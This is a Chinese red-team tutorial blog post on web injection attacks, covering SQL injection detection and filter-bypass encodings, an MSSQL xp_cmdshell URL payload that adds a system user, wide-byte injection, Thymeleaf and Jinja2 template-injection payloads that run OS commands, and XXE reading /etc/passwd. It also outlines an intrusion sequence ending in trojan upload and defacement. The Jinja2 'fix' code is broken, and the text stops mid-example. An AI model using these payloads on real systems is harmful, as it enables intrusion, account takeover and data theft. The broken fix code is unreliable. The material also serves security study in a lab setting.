红队专题-Web安全/渗透测试-注入攻击

在这里插入图片描述

红队专题

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

概念

sql注入指 web应用 对用户输入数据 合法性没有判断
前后端 输入参数 攻击者 可控
参数带入数据库 进行查询
攻击者 构造 不同 语句 对 数据库进行操作。

详情: 注入 空格 漏洞 空格

本质

输入输出控制
将用户输入 数据 当做 sql 语句执行 的关键条件

  • 参数用户可控
  • 参数带入数据库查询

eg:繁多 复杂信息 的查询
存放地点: 数据库
查询方法:url参数带入查询
即 :.asp?id=
.php?id=

发布者:admin

SQL 注入

查询方式增删改查这四种特性,
有部分是不需要进行数据取出和显示的,所以此类注入基本上需要采用盲注才能正常得到结果
(黑盒测试可以根据功能判断注入查询方式)

查询方式增删改查四种特性决定应用功能点(会员注册,删除文章,修改文章等)

漏洞介绍

Sql Inject(SQL注入)概述 哦,SQL注入漏洞,可怕的漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞, 其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,
导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

测试方法

第一步:SQL注入点探测。
探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。
通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。
如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。
一般通过页面的报错信息来确定是否存在SQL注入漏洞。

第二步:收集后台数据库信息。
不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。
判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;
还可以使用特定函数来判断,
比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,
而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。

第三步:猜解用户名和密码。
数据库中的表和字段命名一般都是有规律的。
通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。

第四步:查找Web后台管理入口。
WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。

第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

登录输入框时存在SQL注入,也就是查询或更新的地方

GET或POST注入

GET方式就是直接在网址后面加上需要注入的语句,POST则是通过表单的方式。

User-Agent简称UA注入

网站会把用户的UA信息写入数据库,用来收集和统计用户信息,就有可能存在UA注入,一般会把数据插入到某张中所以可用报错注入。

Referer注入

访问一个网站时,浏览器需要告诉服务器是从哪个地方访问服务吕,大部分网点或app都会写入数据库用来分析流量是从哪里来,以及统计广告投放的成本。一般会把数据插入到某张表中,所以可用报错注入。

Cookie注入

以提交的参数以Cookie方式提交,注入原理和其他注入方式一样。修改自身Cookie,后台获取到这个Cookie后,会直接拿去数据库里进行比较,比较时就有可能存在注入。

二次注入

发现常用一些的注入方式不生效时可以使用该方式。在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库那种,然后在下一次使用中在拼凑过程中,就形成了二次注入。

比如已知账号admin,注册一个账号admin’# , 用账号admin’#登录并重置密码,结果重置的是账号admin的密码。

DNSLOG外带

通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池。

我们输入域名之后,本地域名服务器会把在自身服务器里面查询是否存在ip地址,如果没有则发送到根域名服务器,如果根域名服务器里面有对应的记录则返回,如果没有则告诉本地域名服务器去向顶级域名服务器查找。

dns在解析的时候会留下记录,当dns服务器是我们自己的时,我们就可以通过查看日志来查询一些信息 。

所需的条件

MySQL注入,在MySQL中有个系统属性secure_file_priv必须为空,要root权限,
并且服务器要为Windows操作系统。条件要求有些高。

通过DNSLOG盲注需要用到 load_file() 函数,该函数不仅能加载本地文件,同时也能对URL发起请求。
因为需要使用 load_file() 函数,所以需要root权限,并且 secure_file_priv 需要为空。 

sql手工注入

渗透测试基础-sql注入

在这里插入图片描述

  • 绕过 waf
  • 写shell

参数带入 加入语句被执行

iis + asp
apache + php
nginx + java
aspx 由asp.net语言开发的网页
快速创建动态Web网站的技术
使用C#(或者vb.net)为开发语言
-------------------------------------------------------- 判断注入点
在这里插入图片描述

url 查询处?xxx=xx 加

’ 正常报错 存在注入漏洞

and 1=1 正常返回页面
and 直接返回页面 过滤了and

or 1=1 正常返回页面
or 没有返回页面 没有过滤or
or 1 没有返回 即没有过滤or 也没有过滤1
or 1=1 直接返回 过滤了等号

or的特性 与 and相反
or 1=1 爆错 或 与原页面不同
or 1=2 原页面相同
这样就是一个注入点

过滤了=号 我就用><号代替=号

or 1<2 很明显是正确的,所以应该与原页面不同
or 1>2 很明显是错误的,所以应该与原页面相同
然后看看有没有过滤其他的查询语句,比如select.
加select 直接返回主页

-------------------------------------------------> 原理
参数 and 和 (并且)
1 = 1
相当于 数据库执行 计算 1 = 1 (页面不出错)
1 = 2 (页面不正常)

说明了 and 确实被 ?参数代入 数据库交互当做sql语句处理过

手动注入基本知识

在这里插入图片描述

实战演练

  • 猜测字段 order by 10 (猜测有10个字段)

By pass 防注入技术的突破

  • 关键字绕过
  • 防注入程序都过滤了以下关键字:
    and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

针对AND与“’”号和“=”号 select 等过滤的突破

运用编码技术绕过

如URLEncode编码,ASCII编码绕过。

例如or 1=1即
%6f%72%20%31%3d%31,

而Test也可以为
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

通过空格绕过

如两个空格代替一个空格,
用Tab代替空格等,
或者删除所有空格,如
or’ swords’ =‘swords’

由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。

运用字符串判断代替

用经典的or 1=1判断绕过

or ’swords’ =’swords’

通过类型转换修饰符N绕过

程度 绕过限制,而且还有别的作用
关于利用

or ’swords’ = N’ swords’
大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用
并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

通过+号拆解字符串绕过

or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ ……’ )

通过LIKE绕过

如or
’swords’ LIKE ’sw’
绕过
“=”“>”
的限制……

通过IN绕过


or ’swords’ IN (’swords’)

通过BETWEEN绕过


or ’swords’ BETWEEN ’rw’ AND ’tw’

通过>或者<绕过

or ’swords’ > ’sw’
or ’swords’ < ’tw’
or 1<3
……

运用注释语句绕过

空格,tab键和注释符/**/可以用来切割sql关键字

回车 作为分割符
回车的ascii码是chr(13)&chr(10)
转换成url编码形式是%0d%0a
可以用%0d%0a代替空格pass一些过滤空格的检查了

用 / * * / 代替空格,如:
UNION /* */ Select / * * / user,pwd,from tbluser

用 / * * / 分割敏感词,如:
U/ * */ NION / * */ SE / * */ LECT / * */user,pwd from tbluser

只用%0d能正常执行语句吗?只用%0a呢?
测试证明,用任意一种分割在mssql、mysql和access里面都是可以的

ascii码可以用来在sql语句中代替空格
在所有128个低位ascii字符中
chr(12)也可以在access里用
不过貌似chr(12)不能出现在and、or之类的关键词附近
mysql中比access多一个chr(11)可以。

至于mssql, 直接从1到32的ascii码换成字符后都可以正常使用。

中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了

字符型的,如果是数值型,
可以在id=1后加一个括号,不过没有测试,
比如:jmdcw.asp?id=(1)and(select…),应该可行

用HEX绕过,一般的IDS都无法检测出来

0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)


通用点的过滤方法
  • 采用赋值的方法
    先声明一个变量a,然后把我们的指令赋值给a,
    然后调用变量a最终执行我们输入的命令。
    变量a可以是任何命令。

如下:
  declare @a sysname
  select @a=
  exec master.dbo.xp_cmdshell @a
效果
http://www.xxxx.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];–

其中的
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
就是
“net user angel pass /add”

mssql的多语句问题

必须用分号作为语句的结尾 (错了)
类似
Copy code
select * from table exec xp_cmdshell’xxxxxxxxxx’

select * from table/**/exec xp_cmdshell’xxxxxxxxxx’

select * from table|—tab—|exec xp_cmdshell’xxxxxxxxxx’

select * from table|—enter—|exec xp_cmdshell’xxxxxxxxxx’

的语句都是可以正常执行的。
跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。
(遇到带空格过滤关键字的拦截程序)

宽字节注⼊

注⼊产⽣的原理
  • 源于程序员设置MySQL连接时错误配置 set character_set_client=gbk
  • 引发编码转换从⽽导致的注⼊漏洞
正常情况下当GPC开启 或 使⽤addslashes函数 过滤GET或POST提交的参数时

⿊客使⽤的 单引号 ’ 就会 被转义为: ';

  • 如果存在宽字节注⼊
  • 输⼊%df%27时 经过上⾯提到的单引号转义变成了
    %df%5c%27(%5c是反斜杠\)
  • 之后 在数据库查询前 由于使⽤了GBK多字节编码
    即在 汉字编码范围内两个字节会被编码为⼀个汉字。
  • 然后MySQL服务器会对查询语句进⾏GBK编码
    即%df%5c转换成了汉字“運”,
    ⽽单引号逃逸了出来,从⽽造成了注⼊漏洞

GBK编码导致宽字节注⼊

  • GBK编码是数据库编码,跟前台的编码⽆关

GBK转UTF-8

  • 我们输⼊%df%27时
  • 单引号转义变成了%df%5c%27(%5c是反斜杠\),
  • 然后%df%5c正好属于gbk的汉字编码范围,
  • 经过iconv转换到utf-8编码转换后变成了汉字“運”,从⽽吞掉了反斜杠使得单引
    号逃脱出来。

UTF-8转GBK

  • “錦”,它的utf-8编码是e98ca6,它的gbk编码是%e5%5c, 反斜杠\正好为%5c。
  • 如果我们将title设置为:錦’,⾸先经过addlashes函数或GPC对单引号转义变为:錦
    \’,
  • 然后会经过icnov函数会对”錦”转化为gbk编码
  • 最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从⽽单引号逃逸出来就会引发注⼊漏洞。

ORM注入

SSTI 服务器端模板注入(Server-Side Template Injection)




 
比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式

跟Spring boot的版本有关,其默认自带的Thymeleaf版本有关。

spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5
spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9
spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11 

Thymeleaf模板注入

https://zhuanlan.zhihu.com/p/248416919

 payload 必须包裹在 __...__ 之中,且后面加上 :: ,及 .string 。
__${
   new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

5、防御

1.1. 方法上配置 @ResponseBody 或者 @RestController

这样 spring 框架就不会将其解析为视图名,而是直接返回。不配置的话 SpringMVC 会将业务方法的返回值传递给 DispatcherServlet ,再由DispatcherServlet 调用 ViewResolver 对返回值进行解析,映射到一个 view 资源。
@RestController 表示该控制器会直接将业务方法的返回值响应给客户端,不进行视图解析。它内部继承了 @ResponseBody 。
1.2. 在返回值前面加上 "redirect:"

这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。
1.3. 在方法参数中加上 HttpServletResponse 参数

这样 spring 会认为已经处理了 response ,无须再去进行视图名的解析。在 ServletResponseMethodArgumentResolver 类中检查了此参数。

高危Flask(Jinja2)SSTI服务端模板注入漏洞

知识点介绍

Jinja2是基于python的模板引擎, 功能比较类似于于PHP的smarty,J2ee的Freemarker和velocity。
它能完全支持unicode,并具有集成的沙箱执行环境,应用广泛。
BSD授权。

服务器模板注入(SSTI)
一种利用公共 Web框架的服务器端模板作为攻击媒介的攻击方式,
该攻击利用了嵌入模板的用户输入方式的弱点。

SSTI攻击可以利用拼接恶意用户输入导致各种漏洞。
通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。

漏洞影响

影响版本

使用Flask框架开发并且使用Jinja2模板引擎,
最重要的是模板内容可控。
满足该条件的Flask模块中几乎都存在注入漏洞。

产生原因

漏洞原理

(1)分析payload

查看python的内置模块:

payload中使用了warnings.catch_warnings模块,
查找资料发现os模块就是从该模块入手的。

可以看到Payload中使用的eval函数是存在于
warnings.catch_warnings模块中的。

(2)分析源码

from flask import Flask, request from jinja2 import Template app = Flask(__name__) 

@app.route("/") def index():
     name = request.args.get('name', 'guest')
     t = Template("Hello " + name)     
     return t.render() 
if __name__ == "__main__": app.run()

根据上述源码
“t = Template(“Hell” + name)”
由于使用拼接后直接进行渲染,导致命令注入。

复现过程

 └─# docker ps -a        
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                       NAMES
0d0d769ae249   vulhub/flask:1.1.1   "/bin/sh -c 'gunicor…"   5 minutes ago   Up 5 minutes   0.0.0.0:8000->8000/tcp, :::8000->8000/tcp   ssti_web_1

在这里插入图片描述

打开 目标
查看下源码

  ┌──(root💀amingMM)-[/home//Desktop/vulhub-master/flask/ssti]
└─# cd src 
                                                                                                                            
┌──(root💀amingMM)-[/home//vulhub-master/flask/ssti/src]
└─# ls
app.py
                                                                                                                            
┌──(root💀amingMM)-[/home//vulhub-master/flask/ssti/src]
└─# cat app.py 
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()         
  • t = Template("Hello " + name)

模板的 核心语句
函数利用get获取参数进入template,形成任意构造注入

构造POC

 http://127.0.0.1:8000/?name={
   {
   2*2}}
 http://127.0.0.1:8000/?name={
   {
   %27Mike%27.upper()}}

在这里插入图片描述在这里插入图片描述

xss命令注入
官方POC Payload - 获取eval函数执行任意代码 系统命令id测试:

http://127.0.0.1:8000/?name={
   % for c in [].__class__.__base__.__subclasses__() %}
{
   % if c.__name__ == 'catch_warnings' %}
  {
   % for b in c.__init__.__globals__.values() %}
  {
   % if b.__class__ == {
   }.__class__ %}
    {
   % if 'eval' in b.keys() %}
      {
   {
    b['eval']('__import__("os").popen("id").read()') }}
    {
   % endif %}
  {
   % endif %}
  {
   % endfor %}
{
   % endif %}
{
   % endfor %}

在这里插入图片描述

漏洞修复

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/s1mpL3")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + {
   {
   defense}})
    return t.render(defense=name)

if __name__ == "__main__":
    app.run()

XXE XML外部实体注入 漏洞

 XXE(XML External Entity Injection) XML外部实体注入
XML是一种类似于HTML(超文本标记语言)的可扩展标记语言

用于标记电子文件使其具有结构性的标记语言,
可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。


XML文档结构
包括XML声明、
DTD文档类型定义(可选)、
文档元素。
 文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

带有 DTD 的 XML 文档实例:

<?xml version="1.0"?><!DOCTYPE note [<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>]><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>

根据以上代码,做出如下解释

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。

!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"

!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型

!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型

!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型

!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:

<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>

这是包含 DTD 的 "note.dtd" 文件:

<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>

通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。

通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。

您还可以使用 DTD 来验证您自身的数据。
 学习了DTD的两种引用方法,下面我们主要学习以下XXE漏洞需要利用的DTD实体

实体的概念:

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。

一个内部实体声明

语法:

<!ENTITY 实体名称 "实体的值">

例子:

DTD 例子:

<!ENTITY writer "Bill Gates"><!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

一个外部实体声明

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

有了以上的XML和DTD的知识基础,我们就可以学习XXE漏洞了。

XXE漏洞——XML外部实体注入(XML External Entity)

当应用是通过用户上传的XML文件或POST请求进行数据的传输,并且应用没有禁止XML引用外部实体,也没有过滤用户提交的XML数据,那么就会产生XML外部实体注入漏洞,即XXE漏洞

例1<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]><x>&b;</x>

如果以上xml代码被解析,则会返回/etc/passwd文件的内容。

例2<
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值